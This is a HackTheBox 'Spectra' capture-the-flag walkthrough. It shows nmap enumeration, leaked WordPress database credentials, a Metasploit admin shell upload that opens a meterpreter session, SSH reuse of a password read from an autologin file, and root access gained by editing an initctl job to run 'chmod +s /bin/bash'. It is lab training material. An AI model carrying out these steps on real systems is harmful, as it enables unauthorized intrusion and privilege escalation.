HackTheBox : Spectra Walkthrough
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Concepts Learnt :
- Enumeration
2. Database misconfiguration
3. Wordpress admin upload(metasploit)
4. Linux file system(Initctl)
Steps to Enumerate :
Run an Nmap Scan to find all the open ports!
Command : nmap 10.10.10.229 -A
10.10.10.229 IP of the Server
-A This options makes Nmap make an effort in identifying the target OS,services and the versions. It also does traceroute and applies NSE scripts to detect additional information.
-vv Defines level 2 verbosity for the scan
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We see that there are 3 ports open :
22/tcp- SSH port
80/tcp- HTTP port
3306/tcp — MySQL port
Lets check the http site on port 80:
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A simple site with 2 links to the tracker site and Test, but we cannot load the site
We see a domain attached spectra.htb to these links, lets add it to the /etc/hosts folder.
Command : sudo nano etc/hosts
And add the following line
10.10.10.229 spectra.htb
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Now lets load the pages
Software issue tracker page is just a simple WordPress site :
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The test site shows an error establishing a database connection:
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However, we can open the testing folder and explore it!
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Not many files, lets check the config file first..
Checking the wp-config.php.save file, we see some credentials!
We can find DB username and password!
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Lets try and login into the WordPress using these credentials!
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Can’t login using the given username! Let’s test administrator and try again!
And we are in!!
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Exploring around for possible escalation, I found out that there is a Metasploit admin shell upload we can use!
Let’s search Metasploit for admin shell upload!
To start Metasploit —
Command : msfconsole
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Lets search for wp admin shell
Command : search wp_admin
Select the module 0
Command : use 0
Now lets see all the options!
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We need to add in the password, username, rhosts and TargetURI!
Let’s add that in using set command!
Command : set (USERNAME/PASSWORD/RHOSTS/TargetURI)
The targetURI is the /main page!
You will also need to set the LHOSTS to your tun0 ip address
To check your tun0 ip
Command : ifconfig
And use the set command to add it!
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Let’s execute it now!
Command : exploit
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And we get a meterpreter instance!
Lets remove meterpreter and get the shell!
Command : shell
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Checking the home directory we find 5 users
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While checking katie’s folder we see that the user.txt our first flag is there however we don’t have the permission to check that!
Lets explore more!
While checking the /opt folder in root we see a autologin.conf.orig file! Lets check that out!
We can see there is a line suggesting read password from file, and has two directories listed — /mnt/stateful_partition/etc/autologin and /etc/autologin
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Let’s check these files!
Checking the /etc/autologin folder we have passwd as a file!
Checking this file we have a possible password!
Lets try using ssh to login into katie as user and the found password!
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And we are in!
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Lets check the user.txt for our first flag!
Command : cat user.txt
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Let’s check the sudo privilege available for katie!
Command : sudo -l
We can see that we can run initctl as sudo without password.
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Let’s check the init file system.
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Wow so many files!
We can see 10 test.conf files, lets check them out!
Checking the test.conf file we can see a script for testing node.js!
Let’s stop this script from running and try executing /bin/bash code to gain root access!
Command : sudo /sbin/initctl stop test
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Command : nano test.conf
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Now add the following line between the scripts
chmod +s /bin/bash
Now run the script!
Command : sudo /sbin/initctl start test
Now lets run the command for /bin/bash and check if we have root access!
Command : /bin/bash -p
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And we are in!
Command : whoami
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Checking the root folder we get our second flag in root.txt!
Command : cd /root
Command : cat root.txt
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This was a fun room to work on. Hope you enjoyed!
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